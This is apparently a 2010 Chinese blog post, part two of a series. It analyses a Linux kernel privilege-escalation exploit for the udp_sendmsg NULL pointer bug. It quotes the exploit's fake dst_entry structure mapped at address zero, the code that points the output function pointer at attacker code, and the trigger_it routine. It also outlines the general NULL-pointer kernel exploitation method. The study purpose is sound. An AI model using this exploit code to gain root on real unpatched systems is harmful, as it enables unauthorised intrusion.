我们在系列的第一篇《udp_sendmsg漏洞(一)--介绍》(以下简称文一)中提到利用该漏洞的代码,其中一个是p0c73n1提供的源代码:http://www.milw0rm.com/exploits/9542。我们将在后面列出。这里,简要的分析一下spender提供的源码:http://grsecurity.org/%7Espender/therebel.tgz。
【警告:本文中列出的代码仅限于学习和研究使用。任何用于非法用途的,请自行承担责任。】
本文欢迎自由转载,但请标明出处,并保证本文的完整性。
作者:Godbach
Blog:http://Godbach.cublog.cn
日期:2010/01/19
一、漏洞的思考
我们在文一中提到了,udp_sendmsg中触发的BUG是内核态访问一个指向NULL的指针变量。那么这种条件下如何利用BUG实现提权呢。
先来看一下udp_sendmsg函数的执行流程(注:该流程转自某网友的总结):
UDP发送函数 udp_sendmsg()
-> udp_push_pending_frames()
-> ip_push_pending_frames()
-> ip_local_out()
-> dst_output()
-> skb->dst->output(skb)
因此,可以看出,如果udp_sendmsg函数正常执行的话,最后就会调用dst_output函数,该函数实际上就是利用该skb->dst中保存的路由信息以及发送函数,将skb路由出去。
但是,skb->dst中保存的路由信息是需要在udp_sendmsg中构建起来的。正常情况下是没有问题的,但是我们的攻击代码正好实现了让内核没来及构造这个rt路由表项(该数据结构中包含了struct dst_entry,即skb->dst成员的类型), rt一直为NULL,而后面就要解引用这个rt。
那么,如果我们将0地址映射之后,将该快内存视为rt路由表项,并将各个成员适当的初始化并赋值,以保证数据包可以正确的走到skb->dst->output().因为skb->dst同样是通过rt获取到的。也就是我们映射的那块内存,因此dst->output可以让其指向我们实现的kernel_code.这样就是实现了漏洞的利用。
呵呵,不过这个利用过程是比较复杂一些,我也是看了漏洞利用的代码之后,才明白的。
二、漏洞利用的源代码
我们在文章的开始之处已经给出了代码的链接, therebel.tgz压缩包中有三个文件exploit.c ,pwnkernel.c,therebel.sh。其实这是利用内核NULL pointer的通用做法。这里进分析和udp_sendmsg漏洞利用的相关代码。
1. 构建路由表项
struct dst_entry { void *next; int refcnt; int use; void *child; void *dev; short error; short obsolete; int flags; unsigned long lastuse; unsigned long expires; unsigned short header_len; unsigned short trailer_len; unsigned int metrics[13]; /* need to have this here and empty to avoid problems with dst.path being used by dst_mtu */ void *path; unsigned long rate_last; unsigned long rate_tokens; /* things change from version to version past here, so let's do this: */ void *own_the_kernel[10]; }; |
理论上应该构造的是struct rtable结构体,其结构体开头部分如下:
struct rtable { union { struct dst_entry dst; struct rtable *rt_next; } u; struct in_device *idev; ...... |
但是因为代码执行的这个分支上,只用到了struct rtable结构体中第一个成员联合体u中的dst。而且dst的地址和rt的地址是一样的。因此直接构造一个struct dst_entry结构体即可。
由于内核的struct dst_entry中很多成员结构体指针,为了便于设计,将原始结构体中所有指针类型的成员都使用void*来代替。这样在内存的占用上是相同的。
至void *own_the_kernel[10],则适用于替代struct dst_entry最后9个成员(32位平台上这9个成员占用的应该是10个指针的内存):
struct dst_entry{ ..... unsigned long rate_tokens; struct neighbour *neighbour; struct hh_cache *hh; struct xfrm_state *xfrm; int (*input)(struct sk_buff*); int (*output)(struct sk_buff*); #ifdef CONFIG_NET_CLS_ROUTE __u32 tclassid; #endif struct dst_ops *ops; struct rcu_head rcu_head; char info[0]; }; |
从以上看出从rate_tokens下一个成员开始,共9个成员(考虑到tclassid也存在的情况),我们可以将tclassid和info[0]视为个占用一个指针类型的内存,而struct rcu_read占用了两个指针的内存,这样算起来,总共10个指针的长度。这也就是exp代码中struct dst_entry最后一个成员使用指针数组替代的原因。
同时,我们应该也看到了struct dst_entry中的output成员,output为一个函数指针,内核中指向发送数据包的函数。如果我们将output指向我们自己实现的代码,就可以干坏事了。:-)
2. 初始化内存,注入恶意代码
内核态利用NULL pointer的代码都是通用的,这里不详细解释。成功的mmap 0地址之后,我们就可以将相关的恶意代码写入这块内存,见pa__init函数的部分代码:
int pa__init(void *m) { struct dst_entry *mem = NULL; ...... /* for stealthiness based on reversing, makes sure that frag_off is set in skb so that a printk isn't issued alerting to the exploit in the ip_select_ident path */ mem->metrics[1] = 0xfff0; /* the actual "output" function pointer called by dst_output */ for (i = 0; i < 10; i++) mem->own_the_kernel[i] = (void *)&own_the_kernel; ...... |
对这块内存的初始化,应该根据内核中需要读写struct dst_entry中的那些成员而进行。可见,当前情况下仅需要设置一下metrics[1]即可。然后就是将mem->own_the_kernel的10个指针成员都指向own_the_kernel,这样就保证了内核中的skb->dst->output指向了own_the_kernel. 至于为什么10个成员指向该函数,个人理解可能为了保证万无一失吧。
3. 触发漏洞
万事俱备,就差触发漏洞了。我们在文一中也贴出了触发漏洞的代码,和本文分析的exploit.c中的一样:
void trigger_it(void) { struct sockaddr sock = { .sa_family = AF_UNSPEC, .sa_data = "CamusIsAwesome", }; char buf[1024] = {0}; int fd; fd = socket(PF_INET, SOCK_DGRAM, 0); if (fd < 0) { fprintf(stdout, "failed to create socket\n"); exit(1); } sendto(fd, buf, 1024, MSG_PROXY | MSG_MORE, &sock, sizeof(sock)); sendto(fd, buf, 1024, 0, &sock, sizeof(sock)); return; } |
至此,该漏洞利用的代码核心部分已经分析完了。普通用户下执行脚本therebel.sh,应该就可以获升级到root用户的权限了。
三、另一个简洁的漏洞利用代码
我们在文章开始的地方就提到了
p0c73n1提供的源代码。该代码短小,同样可以利用udp_sendmsg漏洞来获取到root用户权限。而且其利用方法没有采用上面构建路由表项的方式。由于时间关系,暂不分析该代码的实现。
四、总结
可见,内核态访问NULL pointer的时候,可以分为两种情形,一种是可执行的,比如函数指针;另一种是不可执行的,比如变量。对于这种情况,exploit的整体思路还是一致的。只是在实现细节上,如何引导内核执行我们自己实现的代码,则是有区别的:
(1)当内核态调用一个函数,而该函数可能指向NULL的时候,其利用的方法相对简单。只要你可以mmap到0地址,然后在这块内存的开始写入执行函数调用的指令,调用我们自己实现的kernel_code即可。
(2)当内核态访问的是一个可能指向NULL的变量时,如何利用就要具体问题具体分析。宗旨还是要让其通过访问这个NULL变量时,访问我们在0地址构造的数据,并且在一定条件下可以访问到我们写在0地址的可执行代码。这个主要靠对当前存在BUG的内核模块代码的理解程度,以及相关的经验。